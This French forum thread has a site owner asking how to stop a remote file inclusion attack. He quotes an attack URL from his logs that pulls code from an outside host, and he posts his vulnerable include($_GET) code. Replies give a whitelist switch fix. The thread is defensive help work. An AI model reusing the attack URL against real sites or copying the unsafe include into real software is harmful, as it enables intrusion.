Empecher des variable exterieur a mon site [Résolu]

Signaler
Messages postés
4
Date d'inscription
vendredi 3 novembre 2006
Statut
Membre
Dernière intervention
5 novembre 2006
-
Messages postés
4
Date d'inscription
vendredi 3 novembre 2006
Statut
Membre
Dernière intervention
5 novembre 2006
-
Bonjour,

Je crois que ma demande est simpliste et va faire sourire plus d'un!

J'ai 3 sites PHP pour des asssos heberges par OVH.
Ovh m'a envoyé un message pour me dire que du spam etait envoye du serveur en question de mon site et un des trois sites avait ete hacke.
En regardant les logs sur Google analytics j'ai remarque des URL étranges n'appartenant pas aux sites étaient appelles.
Par example : /index.php?page=http://rst.void.ru/download/r
Comment est ce que je peux interdire tout URL comme variable dans mon code?

Merci!

Henri

6 réponses

Messages postés
373
Date d'inscription
samedi 9 juillet 2005
Statut
Membre
Dernière intervention
11 août 2008

Salut,
Tu as du certainement laissé la faille include. Il suffit de remplacer "include($_GET['page']);" par un switch du genre "
switch($_GET['page']) {
case 'page1': include('page1.php'); break;
case 'page2.php': include('page2.php'); break;
// etc...
defaut: include('accueil.php'); break;// Ici la page par defaut si la variable ne correspond à rien de voulu
}
"
Au pire tu peux mettre (en plus de la modification au dessus) un Anti-Leech sur tes sites, par empecher l'accès au variables extérieurs.

For every choice, a consequence (Fable)
Messages postés
373
Date d'inscription
samedi 9 juillet 2005
Statut
Membre
Dernière intervention
11 août 2008

Je me suis trompé ce n'est pas "defaut:" mais "default:" ...

For every choice, a consequence (Fable)
Messages postés
4
Date d'inscription
vendredi 3 novembre 2006
Statut
Membre
Dernière intervention
5 novembre 2006

horrible orthographe dans le titre de mon topic... toutes mes excuses
Messages postés
2350
Date d'inscription
mercredi 13 octobre 2004
Statut
Membre
Dernière intervention
18 avril 2015
3
"Soit tu passe des get aux post."

Tu fais un script PHP en utilisant des en-têtes POST et ca passe comme un moulin :)
C'est strictement identique.

Le mieux étant de controler ce qui arrive en $_GET ou en $_POST et de n'autoriser que ce qui te sert vraiment. Le reste étant à exclure d'office.
Messages postés
4
Date d'inscription
vendredi 3 novembre 2006
Statut
Membre
Dernière intervention
5 novembre 2006

Merci beaucoup [auteurdetail.aspx?ID=547458 audayls], [auteurdetail.aspx?ID=370989 sim51], et [auteurdetail.aspx?ID=358866 FhX],

J'ai remplacer dans ma page le code
                      <?php
                            if (!$_GET["page"])
                            {
                  include ("event.inc");
              }
              else
              {
                  include ($_GET["page"].".inc");
              }
                             ?>
Par
                      <?php
switch($_GET["page"]) {
case "about": include("about.inc"); break;
case "co-chair": include("co-chair.inc"); break;
case "contact": include("coontact.inc"); break;
case "event": include("event.inc"); break;
case "links": include("links.inc"); break;
case "membership": include("membership.inc"); break;
case "past": include("past.inc"); break;
case "sendemail": include("sendemail.inc"); break;
case "upcoming": include("upcoming.inc"); break;
// etc...
defaut : include("event.inc"); break;
// Ici la page par defaut si la variable ne correspond à rien de voulu
}
                             ?>

Je dois avoir fait une erreur car lorsque j'essaie d'accéder a la page j'ai le message d'erreur suivant:

Parse error: syntax error, unexpected ':' in /home.2/gsbwinec/www/index.php on line 47

MERCI!
Henri le boulet du php
Messages postés
4
Date d'inscription
vendredi 3 novembre 2006
Statut
Membre
Dernière intervention
5 novembre 2006

Merci bcp audayls!
T'es une super star!
Ca fonctionne a merveille.

Henri